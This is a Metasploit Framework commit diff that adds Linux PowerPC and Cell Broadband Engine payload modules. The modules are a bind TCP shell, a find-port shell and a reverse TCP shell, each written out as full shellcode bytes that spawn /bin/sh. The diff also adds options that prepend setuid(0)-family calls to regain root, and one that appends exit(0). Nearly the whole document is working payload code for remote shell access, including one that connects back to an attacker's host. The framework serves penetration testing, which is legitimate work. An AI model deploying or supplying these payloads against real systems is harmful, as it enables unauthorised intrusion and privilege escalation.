Skip to content

Commit dfbf6b3

Browse files
author
Ramon de C Valle
committed
Added Linux Power/Cell Broadband Engine Architecture payload modules and advanced payload options
git-svn-id: file:///home/svn/framework3/trunk@5899 4d416f70-5f16-0410-b530-b9f4589650da
1 parent 73b02f1 commit dfbf6b3

7 files changed

Lines changed: 601 additions & 1 deletion

File tree

lib/msf/core/payload/linux.rb

Lines changed: 45 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -106,8 +106,52 @@ def generate(*args)
106106

107107
end
108108

109+
# Handle all Power/CBEA code here
110+
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
111+
112+
# Prepend
113+
114+
if (datastore['PrependSetresuid'])
115+
# setresuid(0, 0, 0)
116+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
117+
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
118+
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
119+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
120+
"\x38\x1f\xfe\xa5" +# addi r0,r31,-347 #
121+
"\x44\xff\xff\x02" # sc #
122+
end
123+
124+
if (datastore['PrependSetreuid'])
125+
# setreuid(0, 0)
126+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
127+
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
128+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
129+
"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
130+
"\x44\xff\xff\x02" # sc #
131+
end
132+
133+
if (datastore['PrependSetuid'])
134+
# setuid(0)
135+
pre << "\x3b\xe0\x01\xff" +# li r31,511 #
136+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
137+
"\x38\x1f\xfe\x18" +# addi r0,r31,-488 #
138+
"\x44\xff\xff\x02" # sc #
139+
end
140+
141+
# Append
142+
143+
if (datastore['AppendExit'])
144+
# exit(0)
145+
app << "\x3b\xe0\x01\xff" +# li r31,511 #
146+
"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
147+
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
148+
"\x44\xff\xff\x02" # sc #
149+
end
150+
151+
end
152+
109153
return (pre + buf + app)
110154
end
111155

112156

113-
end
157+
end
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# Framework web site for more information on licensing and terms of use.
9+
# http://metasploit.com/projects/Framework/
10+
##
11+
12+
13+
require 'msf/core'
14+
require 'msf/core/handler/bind_tcp'
15+
require 'msf/base/sessions/command_shell'
16+
17+
18+
module Metasploit3
19+
20+
include Msf::Payload::Single
21+
include Msf::Payload::Linux
22+
23+
def initialize(info = {})
24+
super(merge_info(info,
25+
'Name' => 'Linux Command Shell, Bind TCP Inline',
26+
'Version' => '$Revision$',
27+
'Description' => 'Listen for a connection and spawn a command shell',
28+
'Author' => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => [ ARCH_PPC, ARCH_CBEA ],
32+
'Handler' => Msf::Handler::BindTcp,
33+
'Session' => Msf::Sessions::CommandShell,
34+
'Payload' =>
35+
{
36+
'Offsets' =>
37+
{
38+
'LPORT' => [ 58, 'n' ],
39+
},
40+
'Payload' =>
41+
"\x7f\xff\xfa\x78" +# xor r31,r31,r31 #
42+
"\x3b\xa0\x01\xff" +# li r29,511 #
43+
"\x3b\x9d\xfe\x02" +# addi r28,r29,-510 #
44+
"\x3b\x7d\xfe\x03" +# addi r27,r29,-509 #
45+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
46+
"\x97\x81\xff\xfc" +# stwu r28,-4(r1) #
47+
"\x97\x61\xff\xfc" +# stwu r27,-4(r1) #
48+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
49+
"\x38\x7d\xfe\x02" +# addi r3,r29,-510 #
50+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
51+
"\x44\xff\xff\x02" +# sc #
52+
"\x7c\x7a\x1b\x78" +# mr r26,r3 #
53+
"\x3b\x3d\xfe\x11" +# addi r25,r29,-495 #
54+
"\x3e\xe0\xff\x02" +# lis r23,-254 #
55+
"\x62\xf7\x04\xd2" +# ori r23,r23,1234 #
56+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
57+
"\x96\xe1\xff\xfc" +# stwu r23,-4(r1) #
58+
"\x7c\x36\x0b\x78" +# mr r22,r1 #
59+
"\x97\x21\xff\xfc" +# stwu r25,-4(r1) #
60+
"\x96\xc1\xff\xfc" +# stwu r22,-4(r1) #
61+
"\x97\x41\xff\xfc" +# stwu r26,-4(r1) #
62+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
63+
"\x38\x7d\xfe\x03" +# addi r3,r29,-509 #
64+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
65+
"\x44\xff\xff\x02" +# sc #
66+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
67+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
68+
"\x97\x41\xff\xfc" +# stwu r26,-4(r1) #
69+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
70+
"\x38\x7d\xfe\x05" +# addi r3,r29,-507 #
71+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
72+
"\x44\xff\xff\x02" +# sc #
73+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
74+
"\x38\x7d\xfe\x06" +# addi r3,r29,-506 #
75+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
76+
"\x44\xff\xff\x02" +# sc #
77+
"\x7c\x75\x1b\x78" +# mr r21,r3 #
78+
"\x7f\x64\xdb\x78" +# mr r4,r27 #
79+
"\x7e\xa3\xab\x78" +# mr r3,r21 #
80+
"\x38\x1d\xfe\x40" +# addi r0,r29,-448 #
81+
"\x44\xff\xff\x02" +# sc #
82+
"\x37\x7b\xff\xff" +# addic. r27,r27,-1 #
83+
"\x40\x80\xff\xec" +# bge+ <bndsockcode+148> #
84+
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
85+
"\x40\x82\xff\xfd" +# bnel+ <bndsockcode+172> #
86+
"\x7f\xc8\x02\xa6" +# mflr r30 #
87+
"\x3b\xde\x01\xff" +# addi r30,r30,511 #
88+
"\x38\x7e\xfe\x25" +# addi r3,r30,-475 #
89+
"\x98\xbe\xfe\x2c" +# stb r5,-468(r30) #
90+
"\x94\xa1\xff\xfc" +# stwu r5,-4(r1) #
91+
"\x94\x61\xff\xfc" +# stwu r3,-4(r1) #
92+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
93+
"\x38\x1d\xfe\x0c" +# addi r0,r29,-500 #
94+
"\x44\xff\xff\x02" +# sc #
95+
"/bin/sh"
96+
}
97+
))
98+
end
99+
100+
end
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# Framework web site for more information on licensing and terms of use.
9+
# http://metasploit.com/projects/Framework/
10+
##
11+
12+
13+
require 'msf/core'
14+
require 'msf/core/handler/find_port'
15+
require 'msf/base/sessions/command_shell'
16+
17+
18+
module Metasploit3
19+
20+
include Msf::Payload::Single
21+
include Msf::Payload::Linux
22+
23+
def initialize(info = {})
24+
super(merge_info(info,
25+
'Name' => 'Linux Command Shell, Find Port Inline',
26+
'Version' => '$Revision$',
27+
'Description' => 'Spawn a shell on an established connection',
28+
'Author' => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => [ ARCH_PPC, ARCH_CBEA ],
32+
'Handler' => Msf::Handler::FindPort,
33+
'Session' => Msf::Sessions::CommandShell,
34+
'Payload' =>
35+
{
36+
'Offsets' =>
37+
{
38+
'CPORT' => [ 86, 'n' ],
39+
},
40+
'Payload' =>
41+
"\x7f\xff\xfa\x78" +# xor r31,r31,r31 #
42+
"\x3b\xa0\x01\xff" +# li r29,511 #
43+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
44+
"\x7c\x3c\x0b\x78" +# mr r28,r1 #
45+
"\x3b\x7d\xfe\x11" +# addi r27,r29,-495 #
46+
"\x97\x61\xff\xfc" +# stwu r27,-4(r1) #
47+
"\x7c\x3a\x0b\x78" +# mr r26,r1 #
48+
"\x97\x41\xff\xfc" +# stwu r26,-4(r1) #
49+
"\x97\x81\xff\xfc" +# stwu r28,-4(r1) #
50+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
51+
"\x3b\xff\x01\xff" +# addi r31,r31,511 #
52+
"\x3b\xff\xfe\x02" +# addi r31,r31,-510 #
53+
"\x38\x21\x01\xff" +# addi r1,r1,511 #
54+
"\x38\x21\xfe\x05" +# addi r1,r1,-507 #
55+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
56+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
57+
"\x38\x7d\xfe\x08" +# addi r3,r29,-504 #
58+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
59+
"\x44\xff\xff\x02" +# sc #
60+
"\x3b\x3c\x01\xff" +# addi r25,r28,511 #
61+
"\xa3\x39\xfe\x03" +# lhz r25,-509(r25) #
62+
"\x28\x19\x04\xd2" +# cmplwi r25,1234 #
63+
"\x40\x82\xff\xd0" +# bne+ <fndsockcode+40> #
64+
"\x3b\x1d\xfe\x03" +# addi r24,r29,-509 #
65+
"\x7f\x04\xc3\x78" +# mr r4,r24 #
66+
"\x7f\xe3\xfb\x78" +# mr r3,r31 #
67+
"\x38\x1d\xfe\x40" +# addi r0,r29,-448 #
68+
"\x44\xff\xff\x02" +# sc #
69+
"\x37\x18\xff\xff" +# addic. r24,r24,-1 #
70+
"\x40\x80\xff\xec" +# bge+ <fndsockcode+96> #
71+
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
72+
"\x40\x82\xff\xfd" +# bnel+ <fndsockcode+120> #
73+
"\x7f\xc8\x02\xa6" +# mflr r30 #
74+
"\x3b\xde\x01\xff" +# addi r30,r30,511 #
75+
"\x38\x7e\xfe\x25" +# addi r3,r30,-475 #
76+
"\x98\xbe\xfe\x2c" +# stb r5,-468(r30) #
77+
"\x94\xa1\xff\xfc" +# stwu r5,-4(r1) #
78+
"\x94\x61\xff\xfc" +# stwu r3,-4(r1) #
79+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
80+
"\x38\x1d\xfe\x0c" +# addi r0,r29,-500 #
81+
"\x44\xff\xff\x02" +# sc #
82+
"/bin/sh"
83+
}
84+
))
85+
end
86+
87+
end
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# Framework web site for more information on licensing and terms of use.
9+
# http://metasploit.com/projects/Framework/
10+
##
11+
12+
13+
require 'msf/core'
14+
require 'msf/core/handler/reverse_tcp'
15+
require 'msf/base/sessions/command_shell'
16+
17+
18+
module Metasploit3
19+
20+
include Msf::Payload::Single
21+
include Msf::Payload::Linux
22+
23+
def initialize(info = {})
24+
super(merge_info(info,
25+
'Name' => 'Linux Command Shell, Reverse TCP Inline',
26+
'Version' => '$Revision$',
27+
'Description' => 'Connect back to attacker and spawn a command shell',
28+
'Author' => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => [ ARCH_PPC, ARCH_CBEA ],
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::CommandShell,
34+
'Payload' =>
35+
{
36+
'Offsets' =>
37+
{
38+
'LHOST' => [ [ 54, 58 ], 'ADDR16MSB' ],
39+
'LPORT' => [ 62, 'n' ],
40+
},
41+
'Payload' =>
42+
"\x7f\xff\xfa\x78" +# xor r31,r31,r31 #
43+
"\x3b\xa0\x01\xff" +# li r29,511 #
44+
"\x3b\x9d\xfe\x02" +# addi r28,r29,-510 #
45+
"\x3b\x7d\xfe\x03" +# addi r27,r29,-509 #
46+
"\x97\xe1\xff\xfc" +# stwu r31,-4(r1) #
47+
"\x97\x81\xff\xfc" +# stwu r28,-4(r1) #
48+
"\x97\x61\xff\xfc" +# stwu r27,-4(r1) #
49+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
50+
"\x38\x7d\xfe\x02" +# addi r3,r29,-510 #
51+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
52+
"\x44\xff\xff\x02" +# sc #
53+
"\x7c\x7a\x1b\x78" +# mr r26,r3 #
54+
"\x3b\x3d\xfe\x11" +# addi r25,r29,-495 #
55+
"\x3e\xe0\x7f\x00" +# lis r23,32512 #
56+
"\x62\xf7\x00\x01" +# ori r23,r23,1 #
57+
"\x3a\xc0\x04\xd2" +# li r22,1234 #
58+
"\x96\xe1\xff\xfc" +# stwu r23,-4(r1) #
59+
"\x96\xc1\xff\xfc" +# stwu r22,-4(r1) #
60+
"\x93\x61\xff\xfe" +# stw r27,-2(r1) #
61+
"\x7c\x35\x0b\x78" +# mr r21,r1 #
62+
"\x97\x21\xff\xfc" +# stwu r25,-4(r1) #
63+
"\x96\xa1\xff\xfc" +# stwu r21,-4(r1) #
64+
"\x97\x41\xff\xfc" +# stwu r26,-4(r1) #
65+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
66+
"\x38\x7d\xfe\x04" +# addi r3,r29,-508 #
67+
"\x38\x1d\xfe\x67" +# addi r0,r29,-409 #
68+
"\x44\xff\xff\x02" +# sc #
69+
"\x7f\x64\xdb\x78" +# mr r4,r27 #
70+
"\x7f\x43\xd3\x78" +# mr r3,r26 #
71+
"\x38\x1d\xfe\x40" +# addi r0,r29,-448 #
72+
"\x44\xff\xff\x02" +# sc #
73+
"\x37\x7b\xff\xff" +# addic. r27,r27,-1 #
74+
"\x40\x80\xff\xec" +# bge+ <cntsockcode+108> #
75+
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
76+
"\x40\x82\xff\xfd" +# bnel+ <cntsockcode+132> #
77+
"\x7f\xc8\x02\xa6" +# mflr r30 #
78+
"\x3b\xde\x01\xff" +# addi r30,r30,511 #
79+
"\x38\x7e\xfe\x25" +# addi r3,r30,-475 #
80+
"\x98\xbe\xfe\x2c" +# stb r5,-468(r30) #
81+
"\x94\xa1\xff\xfc" +# stwu r5,-4(r1) #
82+
"\x94\x61\xff\xfc" +# stwu r3,-4(r1) #
83+
"\x7c\x24\x0b\x78" +# mr r4,r1 #
84+
"\x38\x1d\xfe\x0c" +# addi r0,r29,-500 #
85+
"\x44\xff\xff\x02" +# sc #
86+
"/bin/sh"
87+
}
88+
))
89+
end
90+
91+
end

0 commit comments

Comments
 (0)